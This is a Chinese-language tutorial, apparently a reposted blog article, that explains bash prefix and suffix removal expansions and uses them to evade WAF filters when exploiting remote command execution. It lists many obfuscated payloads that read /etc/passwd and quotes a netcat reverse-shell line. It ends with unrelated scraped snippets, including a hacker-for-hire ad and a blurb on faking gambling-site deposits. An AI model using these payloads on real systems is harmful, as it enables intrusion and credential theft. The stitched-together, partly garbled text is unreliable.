删除前缀和后缀模式(Remove Prefix and Suffix Pattern),是一种可以通过在变量名称中使用%,%%,#或##从左或从右开始删除一部分变量值的方式,我们可以做以下一些例子。
{parameter%word}删除最小后缀模式。后缀的最小的与模式匹配部分将被删除。
TEST="test.baidu.com"; echo ${TEST%.*}
{parameter %% word}删除更大后缀模式。后缀的更大部分与模式所匹配的部分将被删除。
TEST="test.baidu.com"; echo ${TEST%%.*}
$ {parameter#word}删除最小前缀模式。删除与模式匹配的前缀的最小部分。
TEST="test.baidu.com"; echo ${TEST#*.}
$ {parameter ## word}删除更大前缀模式。前缀的更大部分与模式所匹配的参数将被删除。
TEST="test.baidu.com"; echo ${TEST##*.}
更多的此语法的用例之一是更改文件名列表上的扩展名。例如,如果我想重命名/etc中的所有*.conf文件,将其扩展名更改为.txt,那么可以使用下面的命令。
for file in $(ls -1 /etc/*.conf); do echo ${file%.*}.txt; done
通常来说,Web应用程序容易受到远程命令执行漏洞的影响,但是有一个Input Validation函数可以防止发送带有特殊字符例如使用带有类似/"'&|()-;:.,\s `] 的payload以及bash,SH,NC,bas64等常见的Unix命令的如果目标web应用程序允许字符?,,和?,那么有很多 *** 可以bypass并利用RCE。
通常,以下的payload都会被拦截
cat+/etc/passwd (匹配 \s 和 /) /bin/ca?+/e/ss (匹配 \s 和 /) cd${IFS}/etc;cat${IFS}passwd (匹配 /) nc+-e+/bin/sh+10.0.0.1+1234 (匹配 \s - / 和 .)
所以,是否有可能创建不需要像正斜杠,引号之类的字符并且不使用众所周知的Unix命令触发WAF的拦截规则呢?
这里想到,如果要代替使用/字符,我们可以通过使用子字符串0:1从变量的值中获取它(类似于Bash)
在上图中,将/etc/passwd的完整路径替换为。但实际上PHP的shell通常是Dash(或/ bin / sh)。而在Dash中我们无法这样执行命令。
那么我们可以使用删除前移和后缀模式语法来代替使用子字符串,这样在目标变量里
等于 /
等于 /bin
等于 /
那么为了绕过waf读取/etc/passwd里的内容,我们可以使用以下命令。
cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd
此语法取决于目标PATH变量的值。因此,如果/后的之一个字母是“ u”(类似于PATH=/usr/bin...,则应等于“ /”。例如,如果目标PATH以PATH=/home/kali/bin:...那么则应等于/,如下图所示。
这里还有一个问题,识别payload中的“ cat”,“ etc”和“ passwd”字符串,大部分waf会进行拦截。所以我们需要的使用Globbing模式来混淆我们的paylaod,我们需要完整的路径来执行带有/bin/c之类的glob模式的命令?而不是“cat”。我们可以用下面的 ***
执行env并查看所有变量值
从$PATH中有${PATH##*s}的替换/bin
使用$PATH与${PATH%%u*}替换/
使用$IFS代替空格
或许你已经见过类似这种
/?/t /?/ss /?/t /?/ps
那么我们可以构造更复杂的bypasspayload
{PATH##*s}${PATH%%u*}c${IFS}${PATH%%u*}e${PATH%%u*}ss
替换如下所示
{PATH##*s} ——> /bin {PATH88u*}bin ——> /bin {PATH##*s}$ {PATH88u*}cat ——> /bin/cat {PATH##*s}${PATH88u*}c ——> /bin/cat
则上面的bypass命令对应为
{PATH##*s} ${PATH%%u*} c ${IFS} ${PATH%%u*} e ${PATH%%u*} ss
/bin / cat 空格 / etc / passwd
更多的,我们可以使用以下payload
{PATH##*s}${PATH%%u*}ca${u}t${IFS}${PATH%%u*}et${u}c${PATH%%u*}pas${u}swd
{PATH##*s}${PATH%%u*}bas${u}h${IFS}${PHP_CFLAGS%%f*}c${IFS}l${u}s
{PATH:0:1}bi?${PATH:0:1}ca?${IFS}${PATH:0:1}et?${PATH:0:1}sswd
tail${IFS}${APACHE_CONFDIR%${APACHE_CONFDIR#?}}et?${APACHE_CONFDIR%${APACHE_CONFDIR#?}}pas?wd
c${a}at${IFS}${APACHE_CONFDIR%apache2}pas${s}swd
ca${jjj}t${IFS}${APACHE_RUN_DIR%?}et${jjj}c${APACHE_RUN_DIR%?}pas${jjj}swd
c${u}at${IFS}${PHP_INI_DIR%%u*p}e${u}tc${PHP_INI_DIR%%u*p}p${u}asswd
现如今的饿了么外卖早已被百度搜索给回收了,可是这时的百度搜索居然将饿了么外卖股份给迁移一部分给阿里巴巴,我们一起来瞧瞧吧。 百度搜索日前向英国SEC提交文档,文档显示信息,百度搜索早已与阿里...
网赌怎么做到假充值 网赌输钱是怎么做到假充值的,他们使用软件扫描网赌网站漏洞之后,加上无资金充值。自己动手空手套白狼,套用大额现金。 他们自己研究,通过破坏计算机系统来篡改平台...
本文导读目录: 1、莫拉黑客刀处理食物怎么样 莫拉黑客刀处理食物怎么样 莫拉黑客刀是一把外生存刀。用来处理食物,那效果绝对是杠杠的。莫拉长久以来一直做的都是半龙骨刀。莫拉黑客刀确实一把全龙骨的野外生...
passport.js是Nodejs中的一个做登录验证的中间件,极其天真和模块化,而且可与Express、Sails等Web框架无缝集成。Passport功效单一,即只能做登录验证,但异常壮大,支持内...
本文导读目录: 1、清华大学教学门户被黑真的是ISIS的行为么 2、她清华毕业放弃中国籍加入美国,破解北斗卫星代码,现状如何? 3、孙维现在在哪?谁能介绍下清华投毒的那个孙维的现状。 4、...
一、hackme模拟黑客接单流程 1、接单邯郸有专业接单吗黑客Morris病毒是由23岁的RoteMoris在康乃尔大学制造的。hackme模拟帝国2和3同一年功能1紧密实时监控2灵活安全规则3应用程...